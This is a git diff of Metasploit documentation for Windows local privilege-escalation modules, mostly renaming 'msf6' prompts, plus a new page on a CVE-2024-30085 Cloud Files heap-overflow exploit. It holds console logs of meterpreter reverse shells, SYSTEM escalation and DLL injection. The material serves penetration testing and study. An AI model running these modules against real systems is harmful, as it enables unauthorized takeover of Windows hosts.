exploit(multi/handler) > use exploit/windows/local/cve_2021_40449 [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/cve_2021_40449) > show options +msf exploit(windows/local/cve_2021_40449) > show options Module options (exploit/windows/local/cve_2021_40449): @@ -80,11 +80,11 @@ Exploit target: 0 Windows 10 x64 RS1 (build 14393) and RS5 (build 17763) -msf6 exploit(windows/local/cve_2021_40449) > set SESSION 1 +msf exploit(windows/local/cve_2021_40449) > set SESSION 1 SESSION => 1 -msf6 exploit(windows/local/cve_2021_40449) > set LPORT 9988 +msf exploit(windows/local/cve_2021_40449) > set LPORT 9988 LPORT => 9988 -msf6 exploit(windows/local/cve_2021_40449) > exploit +msf exploit(windows/local/cve_2021_40449) > exploit [!] SESSION may not be compatible with this module: [!] * missing Meterpreter features: stdapi_sys_process_set_term_size @@ -92,7 +92,7 @@ msf6 exploit(windows/local/cve_2021_40449) > exploit [*] Running automatic check ("set AutoCheck false" to disable) ^C[-] Exploit failed [user-interrupt]: Interrupt [-] exploit: Interrupted -msf6 exploit(windows/local/cve_2021_40449) > exploit +msf exploit(windows/local/cve_2021_40449) > exploit [!] SESSION may not be compatible with this module: [!] * missing Meterpreter features: stdapi_sys_process_set_term_size diff --git a/documentation/modules/exploit/windows/local/cve_2022_21882_win32k.md b/documentation/modules/exploit/windows/local/cve_2022_21882_win32k.md index 865f8628e63d6..7e78268575787 100644 --- a/documentation/modules/exploit/windows/local/cve_2022_21882_win32k.md +++ b/documentation/modules/exploit/windows/local/cve_2022_21882_win32k.md @@ -32,7 +32,7 @@ tested on Windows 10 versions 1803, 1909, 20H1, 20H2 and 21H2. ### Windows 10 Version 21H2 Build 19044.1288 x64 ``` -msf6 exploit(windows/local/cve_2022_21882_win32k) > sessions -i -1 +msf exploit(windows/local/cve_2022_21882_win32k) > sessions -i -1 [*] Starting interaction with 1... meterpreter > getuid @@ -54,13 +54,13 @@ meterpreter > getsystem [-] Named Pipe Impersonation (PrintSpooler variant) meterpreter > background [*] Backgrounding session 1... -msf6 exploit(windows/local/cve_2022_21882_win32k) > set SESSION -1 +msf exploit(windows/local/cve_2022_21882_win32k) > set SESSION -1 SESSION => -1 -msf6 exploit(windows/local/cve_2022_21882_win32k) > set PAYLOAD windows/x64/meterpreter/reverse_tcp +msf exploit(windows/local/cve_2022_21882_win32k) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/cve_2022_21882_win32k) > set LHOST 192.168.159.128 +msf exploit(windows/local/cve_2022_21882_win32k) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(windows/local/cve_2022_21882_win32k) > exploit +msf exploit(windows/local/cve_2022_21882_win32k) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/local/cve_2022_21999_spoolfool_privesc.md b/documentation/modules/exploit/windows/local/cve_2022_21999_spoolfool_privesc.md index e715e7ba1271f..6eb4339ab2a67 100644 --- a/documentation/modules/exploit/windows/local/cve_2022_21999_spoolfool_privesc.md +++ b/documentation/modules/exploit/windows/local/cve_2022_21999_spoolfool_privesc.md @@ -41,7 +41,7 @@ The time to wait for the print spooler to restart ### Windows 10 21H2 (Build 19044.1288) ``` -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 172.16.98.1:4444 [*] Sending stage (200262 bytes) to 172.16.98.146 @@ -59,13 +59,13 @@ Logged On Users : 2 Meterpreter : x64/windows meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use exploit/windows/local/cve_2022_21999_spoolfool_privesc +msf exploit(multi/handler) > use exploit/windows/local/cve_2022_21999_spoolfool_privesc [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set lhost 172.16.98.1 +msf exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set lhost 172.16.98.1 lhost => 172.16.98.1 -msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set session 1 +msf exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set session 1 session => 1 -msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > run +msf exploit(windows/local/cve_2022_21999_spoolfool_privesc) > run [*] Started reverse TCP handler on 172.16.98.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -100,7 +100,7 @@ meterpreter > ### Windows 10 1709 (Build 16299) ``` -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 172.16.98.1:4444 [*] Sending stage (200262 bytes) to 172.16.98.144 @@ -118,13 +118,13 @@ Logged On Users : 2 Meterpreter : x64/windows meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use exploit/windows/local/cve_2022_21999_spoolfool_privesc +msf exploit(multi/handler) > use exploit/windows/local/cve_2022_21999_spoolfool_privesc [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set session 1 +msf exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set session 1 session => 1 -msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set lhost 172.16.98.1 +msf exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set lhost 172.16.98.1 lhost => 172.16.98.1 -msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > run +msf exploit(windows/local/cve_2022_21999_spoolfool_privesc) > run [*] Started reverse TCP handler on 172.16.98.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -159,7 +159,7 @@ meterpreter > ## Windows Server 2019 v1809 (Build 17763.1577) ``` -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 172.16.98.1:4444 [*] Sending stage (200262 bytes) to 172.16.98.142 @@ -177,13 +177,13 @@ Logged On Users : 2 Meterpreter : x64/windows meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use exploit/windows/local/cve_2022_21999_spoolfool_privesc +msf exploit(multi/handler) > use exploit/windows/local/cve_2022_21999_spoolfool_privesc [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set session 1 +msf exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set session 1 session => 1 -msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set lhost 172.16.98.1 +msf exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set lhost 172.16.98.1 lhost => 172.16.98.1 -msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > run +msf exploit(windows/local/cve_2022_21999_spoolfool_privesc) > run [*] Started reverse TCP handler on 172.16.98.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/local/cve_2022_26904_superprofile.md b/documentation/modules/exploit/windows/local/cve_2022_26904_superprofile.md index 683b63d106154..da063f46a32db 100644 --- a/documentation/modules/exploit/windows/local/cve_2022_26904_superprofile.md +++ b/documentation/modules/exploit/windows/local/cve_2022_26904_superprofile.md @@ -71,13 +71,13 @@ The domain that the LOGINUSER belongs to and which we will log into. ### Windows 11 Build 10.0.22000.556 ``` -msf6 payload(windows/x64/meterpreter/reverse_tcp) > use multi/handler +msf payload(windows/x64/meterpreter/reverse_tcp) > use multi/handler [*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp +msf exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp payload => windows/x64/meterpreter/bind_tcp -msf6 exploit(multi/handler) > set RHOST 172.19.78.176 +msf exploit(multi/handler) > set RHOST 172.19.78.176 RHOST => 172.19.78.176 -msf6 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started bind TCP handler against 172.19.78.176:4444 [*] Sending stage (200262 bytes) to 172.19.78.176 @@ -102,9 +102,9 @@ meterpreter > getsystem [-] Named Pipe Impersonation (PrintSpooler variant) meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use exploit/windows/local/cve_2022_26904_superprofile +msf exploit(multi/handler) > use exploit/windows/local/cve_2022_26904_superprofile [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/cve_2022_26904_superprofile) > show options +msf exploit(windows/local/cve_2022_26904_superprofile) > show options Module options (exploit/windows/local/cve_2022_26904_superprofile): @@ -133,19 +133,19 @@ Exploit target: 0 Windows 11 -msf6 exploit(windows/local/cve_2022_26904_superprofile) > set LOGINDOMAIN TESTINGDOMAIN +msf exploit(windows/local/cve_2022_26904_superprofile) > set LOGINDOMAIN TESTINGDOMAIN LOGINDOMAIN => TESTINGDOMAIN -msf6 exploit(windows/local/cve_2022_26904_superprofile) > set LOGINUSER normal +msf exploit(windows/local/cve_2022_26904_superprofile) > set LOGINUSER normal LOGINUSER => normal -msf6 exploit(windows/local/cve_2022_26904_superprofile) > set LOGINPASSWORD normal1 +msf exploit(windows/local/cve_2022_26904_superprofile) > set LOGINPASSWORD normal1 LOGINPASSWORD => normal1 -msf6 exploit(windows/local/cve_2022_26904_superprofile) > set SESSION 1 +msf exploit(windows/local/cve_2022_26904_superprofile) > set SESSION 1 SESSION => 1 -msf6 exploit(windows/local/cve_2022_26904_superprofile) > set LHOST 172.1 +msf exploit(windows/local/cve_2022_26904_superprofile) > set LHOST 172.1 set LHOST 172.17.0.1 set LHOST 172.18.0.1 set LHOST 172.19.70.15 -msf6 exploit(windows/local/cve_2022_26904_superprofile) > set LHOST 172.19.70.15 +msf exploit(windows/local/cve_2022_26904_superprofile) > set LHOST 172.19.70.15 LHOST => 172.19.70.15 -msf6 exploit(windows/local/cve_2022_26904_superprofile) > show options +msf exploit(windows/local/cve_2022_26904_superprofile) > show options Module options (exploit/windows/local/cve_2022_26904_superprofile): @@ -174,12 +174,12 @@ Exploit target: 0 Windows 11 -msf6 exploit(windows/local/cve_2022_26904_superprofile) > check +msf exploit(windows/local/cve_2022_26904_superprofile) > check [*] Checking if PromptOnSecureDesktop mitigation applied... [+] PromptOnSecureDesktop is set to 1, should be safe to proceed! [*] The target appears to be vulnerable. Vulnerable Windows 11 build detected! -msf6 exploit(windows/local/cve_2022_26904_superprofile) > exploit +msf exploit(windows/local/cve_2022_26904_superprofile) > exploit [*] Started reverse TCP handler on 172.19.70.15:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -205,7 +205,7 @@ meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > Background session 2? [y/N] -msf6 exploit(windows/local/cve_2022_26904_superprofile) > sessions +msf exploit(windows/local/cve_2022_26904_superprofile) > sessions Active sessions =============== diff --git a/documentation/modules/exploit/windows/local/cve_2022_3699_lenovo_diagnostics_driver.md b/documentation/modules/exploit/windows/local/cve_2022_3699_lenovo_diagnostics_driver.md index 45d21c8f3c3bd..a28f1e009dd5f 100644 --- a/documentation/modules/exploit/windows/local/cve_2022_3699_lenovo_diagnostics_driver.md +++ b/documentation/modules/exploit/windows/local/cve_2022_3699_lenovo_diagnostics_driver.md @@ -31,9 +31,9 @@ To create a service that runs the vulnerable Lenovo driver run the following com All of the following scenarios have a vulnerable version of LenovoDiagnosticsDriver.sys in use. ### Windows 11 21H2 (Build 22000) ``` -msf6 > use multi/handler +msf > use multi/handler [*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > run LHOST=192.168.123.1 LPORT=4444 payload=windows/x64/meterpreter/reverse_tcp +msf exploit(multi/handler) > run LHOST=192.168.123.1 LPORT=4444 payload=windows/x64/meterpreter/reverse_tcp [*] Started reverse TCP handler on 192.168.123.1:4444 [*] Sending stage (200774 bytes) to 192.168.123.212 @@ -41,9 +41,9 @@ msf6 exploit(multi/handler) > run LHOST=192.168.123.1 LPORT=4444 payload=windows meterpreter > bg [*] Backgrounding session 17... -msf6 exploit(multi/handler) > use windows/local/cve_2022_3699_lenovo_diagnostics_driver +msf exploit(multi/handler) > use windows/local/cve_2022_3699_lenovo_diagnostics_driver [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/cve_2022_3699_lenovo_diagnostics_driver) > run session=17 LHOST=192.168.123.1 LPORT=4445 +msf exploit(windows/local/cve_2022_3699_lenovo_diagnostics_driver) > run session=17 LHOST=192.168.123.1 LPORT=4445 [*] Started reverse TCP handler on 192.168.123.1:4445 [*] Running automatic check ("set AutoCheck false" to disable) @@ -70,7 +70,7 @@ meterpreter > ### Windows 10 22H2 (Build 19045) ``` -msf6 exploit(multi/handler) > run payload=windows/x64/meterpreter/reverse_tcp lhost=172.16.199.1 +msf exploit(multi/handler) > run payload=windows/x64/meterpreter/reverse_tcp lhost=172.16.199.1 [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Sending stage (200774 bytes) to 172.16.199.133 @@ -78,9 +78,9 @@ msf6 exploit(multi/handler) > run payload=windows/x64/meterpreter/reverse_tcp lh meterpreter > bg [*] Backgrounding session 8... -msf6 exploit(multi/handler) > use windows/local/cve_2022_3699_lenovo_diagnostics_driver +msf exploit(multi/handler) > use windows/local/cve_2022_3699_lenovo_diagnostics_driver [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/cve_2022_3699_lenovo_diagnostics_driver) > run session=8 LHOST=172.16.199.1 LPORT=4445 +msf exploit(windows/local/cve_2022_3699_lenovo_diagnostics_driver) > run session=8 LHOST=172.16.199.1 LPORT=4445 [*] Started reverse TCP handler on 172.16.199.1:4445 [*] Running automatic check ("set AutoCheck false" to disable) @@ -107,7 +107,7 @@ meterpreter > ### Windows 10 1809 (Build 17763) ``` -msf6 exploit(multi/handler) > run payload=windows/x64/meterpreter/reverse_tcp LHOST=172.16.199.1 LPORT=4444 +msf exploit(multi/handler) > run payload=windows/x64/meterpreter/reverse_tcp LHOST=172.16.199.1 LPORT=4444 [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Sending stage (200774 bytes) to 172.16.199.134 @@ -115,9 +115,9 @@ msf6 exploit(multi/handler) > run payload=windows/x64/meterpreter/reverse_tcp LH meterpreter > bg [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use windows/local/cve_2022_3699_lenovo_diagnostics_driver +msf exploit(multi/handler) > use windows/local/cve_2022_3699_lenovo_diagnostics_driver [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/cve_2022_3699_lenovo_diagnostics_driver) > run session=1 lport=4445 +msf exploit(windows/local/cve_2022_3699_lenovo_diagnostics_driver) > run session=1 lport=4445 [*] Started reverse TCP handler on 172.16.199.1:4445 [*] Running automatic check ("set AutoCheck false" to disable) @@ -144,7 +144,7 @@ meterpreter > ### Windows Server 2022 (Build 20348) ``` -msf6 exploit(windows/local/cve_2022_3699_lenovo_diagnostics_driver) > run session=7 lport=4445 lhost=172.16.199.1 +msf exploit(windows/local/cve_2022_3699_lenovo_diagnostics_driver) > run session=7 lport=4445 lhost=172.16.199.1 [*] Started reverse TCP handler on 172.16.199.1:4445 [*] Running automatic check ("set AutoCheck false" to disable) @@ -171,9 +171,9 @@ meterpreter > ### Windows Server 2019 (Build 17763) ``` -msf6 > use multi/handler +msf > use multi/handler [*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > run payload=windows/x64/meterpreter/reverse_tcp lhost=172.16.199.1 +msf exploit(multi/handler) > run payload=windows/x64/meterpreter/reverse_tcp lhost=172.16.199.1 [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Sending stage (200774 bytes) to 172.16.199.235 @@ -181,9 +181,9 @@ msf6 exploit(multi/handler) > run payload=windows/x64/meterpreter/reverse_tcp lh meterpreter > bg [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use windows/local/cve_2022_3699_lenovo_diagnostics_driver +msf exploit(multi/handler) > use windows/local/cve_2022_3699_lenovo_diagnostics_driver [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/cve_2022_3699_lenovo_diagnostics_driver) > run session=1 lport=4445 lhost=172.16.199.1 +msf exploit(windows/local/cve_2022_3699_lenovo_diagnostics_driver) > run session=1 lport=4445 lhost=172.16.199.1 [*] Reloading module... [*] Started reverse TCP handler on 172.16.199.1:4445 diff --git a/documentation/modules/exploit/windows/local/cve_2023_21768_afd_lpe.md b/documentation/modules/exploit/windows/local/cve_2023_21768_afd_lpe.md index 1a04e3a816986..6b79d88266556 100644 --- a/documentation/modules/exploit/windows/local/cve_2023_21768_afd_lpe.md +++ b/documentation/modules/exploit/windows/local/cve_2023_21768_afd_lpe.md @@ -31,7 +31,7 @@ No specific options to be set. ### Windows 11 Version 22H2 Build 22621.963 x64 ``` -msf6 exploit(windows/local/cve_2023_21768_afd_lpe) > run verbose=true +msf exploit(windows/local/cve_2023_21768_afd_lpe) > run verbose=true [*] Started reverse TCP handler on 192.168.100.9:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/local/cve_2023_28252_clfs_driver.md b/documentation/modules/exploit/windows/local/cve_2023_28252_clfs_driver.md index ad0ce2b2841e9..fafd5d037d687 100644 --- a/documentation/modules/exploit/windows/local/cve_2023_28252_clfs_driver.md +++ b/documentation/modules/exploit/windows/local/cve_2023_28252_clfs_driver.md @@ -42,9 +42,9 @@ This exploit module has been tested on Windows 11 versions 21H2 build 22000. ### Windows Server 2022 Build 20348 x64 ``` -msf6 exploit(multi/handler) > use windows/local/cve_2023_28252_clfs_driver +msf exploit(multi/handler) > use windows/local/cve_2023_28252_clfs_driver [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/cve_2023_28252_clfs_driver) > run +msf exploit(windows/local/cve_2023_28252_clfs_driver) > run [*] Started reverse TCP handler on 172.16.199.1:4443 [*] Running automatic check ("set AutoCheck false" to disable) @@ -71,9 +71,9 @@ meterpreter > ### Windows 11 Version 21H2 Build 22000 x64 ``` -msf6 exploit(windows/local/cve_2023_28252_clfs_driver) > sessions -i 1 +msf exploit(windows/local/cve_2023_28252_clfs_driver) > sessions -i 1 [*] Starting interaction with 1... -msf6 exploit(windows/local/cve_2023_28252_clfs_driver) > rexploit +msf exploit(windows/local/cve_2023_28252_clfs_driver) > rexploit [*] Reloading module... [*] Started reverse TCP handler on 172.16.199.1:4443 @@ -102,8 +102,8 @@ meterpreter > ### Windows 10 Version 19042 x64 ``` -msf6 exploit(multi/handler) > use windows/local/cve_2023_28252_clfs_driver -msf6 exploit(windows/local/cve_2023_28252_clfs_driver) > run +msf exploit(multi/handler) > use windows/local/cve_2023_28252_clfs_driver +msf exploit(windows/local/cve_2023_28252_clfs_driver) > run [*] Started reverse TCP handler on 172.16.199.1:4443 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/local/cve_2024_30085_cloud_files.md b/documentation/modules/exploit/windows/local/cve_2024_30085_cloud_files.md new file mode 100644 index 0000000000000..6297aceb73fc9 --- /dev/null +++ b/documentation/modules/exploit/windows/local/cve_2024_30085_cloud_files.md @@ -0,0 +1,118 @@ +## Vulnerable Application +As of the writing of this documentaiton, NIST claims on https://nvd.nist.gov/vuln/detail/cve-2024-30085 that the +following versions of Windows are vulnerable: +``` +cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:* +Up to (excluding) 10.0.17763.5936 + +cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* +Up to (excluding) 10.0.19044.4529 + +cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:* +Up to (excluding) 10.0.19045.4529 + +cpe:2.3:o:microsoft:windows_11_21h2:*:*:*:*:*:*:*:* +Up to (excluding) 10.0.22000.3019 + +cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:* +Up to (excluding) 10.0.22621.3737 + +cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:* +Up to (excluding) 10.0.22631.3737 + +cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:* +Up to (excluding) 10.0.17763.5936 + +cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:* +Up to (excluding) 10.0.20348.2522 + +cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:* +Up to (excluding) 10.0.25398.950 +``` + +In practice, this exploit did not work on Windows 10_1809, but does appear to work on Windows 10_2004, 10_20H2, and +10_21H1 as well as the remaining vulnerable versions listed by NIST. + +CVE-2024-30085 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10, +Windows 11 and Windows Server 2022. + +The vulnerability is a heap overflow in the Cloud Files Mini Filter Driver, a driver that facilitates +management and synchronization of files between a local host and a remote server. Under certain specific +circumstances, the application will not perform a check of the size when updating a file in local memory, +allowing a heap overflow. +By overflowing and corrupting _WNF_STATE_DATA objects, we can leak the location of the ALPC handle table and again +to leak a PipeAttribute object. The PipeAttribute object then allows us to leak the location of the system process +token and overwrite own on token with it. +If this exploit fails, it will not work again until the target reboots. + +### Setup + +Windows 10 2004 to Windows 11 23H2 and Server 2022 through server 23H2 are vulnerable. +This exploit module has been tested on Windows 10 2004 through Windows 11 23H2 10.0.22631.2428 and Server 2022 +10.0.20348.169 + +## Verification Steps + +1. Start msfconsole +1. Get a user level session on an affected Windows machine +1. Do: `windows/local/cve_2024_30085_cloud_files` +1. Set the `LHOST`, `LPORT`, and `SESSION` options +1. Run the module +1. Receive a session running in the context of the `NT AUTHORITY\SYSTEM` user. + +## Scenarios +### Windows 11 (10.0 Build 22631.2428) +``` +msf exploit(windows/local/cve_2024_30085_cloud_files) > show options + +Module options (exploit/windows/local/cve_2024_30085_cloud_files): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION 3 yes The session to run this module on + + +Payload options (windows/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST 10.5.135.201 yes The listen address (an interface may be specified) + LPORT 4545 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Windows x64 + + + +View the full module info with the info, or info -d command. + +msf exploit(windows/local/cve_2024_30085_cloud_files) > set session 5 +session => 5 +msf exploit(windows/local/cve_2024_30085_cloud_files) > run +[*] Started reverse TCP handler on 10.5.135.201:4545 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] OS version: Windows 11 version 23H2 +[+] The target appears to be vulnerable. +[*] Launching notepad to host the exploit... +[*] The notepad path is: C:\Windows\System32\notepad.exe +[*] The notepad pid is: 4152 +[*] Reflectively injecting the DLL into 4152... +[*] Sending stage (203846 bytes) to 10.5.132.111 +[*] Meterpreter session 6 opened (10.5.135.201:4545 -> 10.5.132.111:49800) at 2025-03-06 16:19:44 -0600 + +meterpreter > sysinfo +Computer : WIN11_23H2_8EA9 +OS : Windows 11 (10.0 Build 22631). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +``` diff --git a/documentation/modules/exploit/windows/local/cve_2024_30088_authz_basep.md b/documentation/modules/exploit/windows/local/cve_2024_30088_authz_basep.md index f325b3f3afb44..5015885c6125e 100644 --- a/documentation/modules/exploit/windows/local/cve_2024_30088_authz_basep.md +++ b/documentation/modules/exploit/windows/local/cve_2024_30088_authz_basep.md @@ -26,11 +26,11 @@ This exploit module has been tested on Windows 10 version 22H2 build 19045.2965. ## Scenarios ### Windows 10 (10.0 Build 19045.2965) ``` -msf6 > use windows/local/cve_2024_30038_authz_basep +msf > use windows/local/cve_2024_30038_authz_basep [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/cve_2024_30038_authz_basep) > set session -1 +msf exploit(windows/local/cve_2024_30038_authz_basep) > set session -1 session => -1 -msf6 exploit(windows/local/cve_2024_30088_authz_basep) > exploit +msf exploit(windows/local/cve_2024_30088_authz_basep) > exploit [*] Started reverse TCP handler on 172.16.199.1:5555 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/local/cve_2024_35250_ks_driver.md b/documentation/modules/exploit/windows/local/cve_2024_35250_ks_driver.md index 8773054e66a3f..c7e103015c46e 100644 --- a/documentation/modules/exploit/windows/local/cve_2024_35250_ks_driver.md +++ b/documentation/modules/exploit/windows/local/cve_2024_35250_ks_driver.md @@ -52,7 +52,7 @@ device by default, causing the exploit to fail. ## Scenarios ### Windows 10 22H2 (10.0 Build 19045) ``` -msf6 exploit(windows/local/cve_2024_35250_ks_driver) > rexploit +msf exploit(windows/local/cve_2024_35250_ks_driver) > rexploit [*] Reloading module... [*] Started reverse TCP handler on 192.168.123.1:5555 @@ -79,7 +79,7 @@ Meterpreter : x64/windows ### Windows 10 1607 (10.0 Build 14393) ``` -msf6 exploit(windows/local/cve_2024_35250_ks_driver) > run +msf exploit(windows/local/cve_2024_35250_ks_driver) > run [*] Started reverse TCP handler on 192.168.123.1:5555 [*] Running automatic check ("set AutoCheck false" to disable) @@ -106,7 +106,7 @@ meterpreter > ### Windows 11 22H2 (10.0 Build 22621) ``` -msf6 exploit(windows/local/cve_2024_35250_ks_driver) > run +msf exploit(windows/local/cve_2024_35250_ks_driver) > run [*] Started reverse TCP handler on 192.168.123.1:5555 [*] Running automatic check ("set AutoCheck false" to disable) @@ -133,7 +133,7 @@ meterpreter > ### Windows Server 2022 (10.0 Build 20348) ``` -msf6 exploit(windows/local/cve_2024_35250_ks_driver) > rexploit +msf exploit(windows/local/cve_2024_35250_ks_driver) > rexploit [*] Reloading module... [*] Started reverse TCP handler on 172.16.199.1:5555 @@ -161,7 +161,7 @@ meterpreter > ### Windows Server 2016 (10.0 Build 14393) ``` -msf6 exploit(windows/local/cve_2024_35250_ks_driver) > run +msf exploit(windows/local/cve_2024_35250_ks_driver) > run [*] Started reverse TCP handler on 172.16.199.1:5555 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/local/dnsadmin_serverlevelplugindll.md b/documentation/modules/exploit/windows/local/dnsadmin_serverlevelplugindll.md index 26a517fdb3029..ca9a1859d73d2 100644 --- a/documentation/modules/exploit/windows/local/dnsadmin_serverlevelplugindll.md +++ b/documentation/modules/exploit/windows/local/dnsadmin_serverlevelplugindll.md @@ -98,9 +98,9 @@ changes that could prevent the DNS server from being able to start. ### Windows Server 2019 Standard x64, writing `msf.dll` to `%TEMP%` ``` -msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll +msf exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll s[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > show options Module options (exploit/windows/local/dnsadmin_serverlevelplugindll): @@ -129,15 +129,15 @@ Exploit target: 0 Automatic -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp PAYLOAD => windows/x64/meterpreter/bind_tcp -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set RHOST 172.17.169.123 +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > set RHOST 172.17.169.123 RHOST => 172.17.169.123 -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 1 +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 1 SESSION => 1 -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 7788 +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 7788 LPORT => 7788 -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit [*] Checking service state... [*] Building DLL... @@ -159,7 +159,7 @@ meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > background [*] Backgrounding session 2... -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions Active sessions =============== @@ -169,7 +169,7 @@ Active sessions 1 meterpreter x64/windows RAPID7\normal @ WIN-M5JU6L5RA9L 0.0.0.0:0 -> 172.17.169.123:4444 (172.17.169.123) 2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN-M5JU6L5RA9L 0.0.0.0:0 -> 172.17.169.123:7788 (172.17.169.123) -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions -i 2 +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions -i 2 [*] Starting interaction with 2... meterpreter > sysinfo @@ -205,19 +205,19 @@ This will create a SMBv2 server, listening on IP address 172.17.168.195, with a the directory at `/home/gwillcox/.msf4/local/`. Next, set `MAKEDLL` to `true` and run the module to generate the payload. ``` -msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll +msf exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll [*] Using configured payload windows/x64/meterpreter/bind_tcp -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3 +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3 SESSION => 3 -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp PAYLOAD => windows/x64/meterpreter/bind_tcp 